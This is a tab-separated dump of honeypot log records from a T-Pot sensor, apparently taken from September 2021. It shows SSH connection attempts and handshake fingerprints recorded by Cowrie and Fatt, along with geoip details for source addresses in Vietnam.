21578	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.117311+03	2021-09-20 14:15:03.839613+03	{"_id": "4gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33774 (192.168.176.2:22) [session: 965c39e184d7]", "session": "965c39e184d7", "@version": "1", "protocol": "ssh", "src_port": 33774, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.117311Z", "@timestamp": "2021-09-20T11:06:34.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21579	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:33.098952+03	2021-09-20 14:15:03.840613+03	{"_id": "4wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35148, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.098952", "@timestamp": "2021-09-20T11:06:33.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21580	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:33.178975+03	2021-09-20 14:15:03.841613+03	{"_id": "5AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.178975", "@timestamp": "2021-09-20T11:06:33.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21581	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:33.2559+03	2021-09-20 14:15:03.843613+03	{"_id": "5QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36622, "timestamp": "2021-09-20T11:06:33.255900", "@timestamp": "2021-09-20T11:06:33.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21582	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:33.256379+03	2021-09-20 14:15:03.844612+03	{"_id": "5gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36622, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.256379", "@timestamp": "2021-09-20T11:06:33.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21583	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:33.304471+03	2021-09-20 14:15:03.846613+03	{"_id": "5wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49526, "timestamp": "2021-09-20T11:06:33.304471", "@timestamp": "2021-09-20T11:06:33.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21584	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:33.304739+03	2021-09-20 14:15:03.847613+03	{"_id": "6AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49526, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.304739", "@timestamp": "2021-09-20T11:06:33.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21824	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.989273+03	2021-09-20 14:15:04.150613+03	{"_id": "TAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5b61f7f46fd6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:30.989273Z", "@timestamp": "2021-09-20T11:06:30.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
